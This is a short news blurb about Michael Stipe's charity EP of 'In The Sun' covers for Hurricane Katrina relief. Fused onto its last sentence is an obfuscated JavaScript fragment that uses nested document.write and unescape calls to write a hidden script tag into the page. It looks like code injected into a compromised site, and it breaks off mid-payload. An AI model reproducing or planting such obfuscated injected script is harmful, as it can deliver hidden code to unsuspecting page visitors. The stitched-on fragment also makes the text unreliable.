Overview
R.E.M. singer Michael Stipe has organized some of his friends from around the music world for a digital charity EP, with all proceeds going to Mercy Corps to aid Gulf Coast victims of Hurricane Katrina. The EP features six different cover versions of Joseph Arthur's "In The Sun." The song is covered by Stipe alone, as a duet with Chris Martin of Coldplay, again dueting with Justin Timberlake (with will.i.am contributing to the mix) and again as a duet with Arthur himself. Fountains Of Wayne's Adam Schlesinger and James Iha of A Perfect Circle also perform on the tune.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
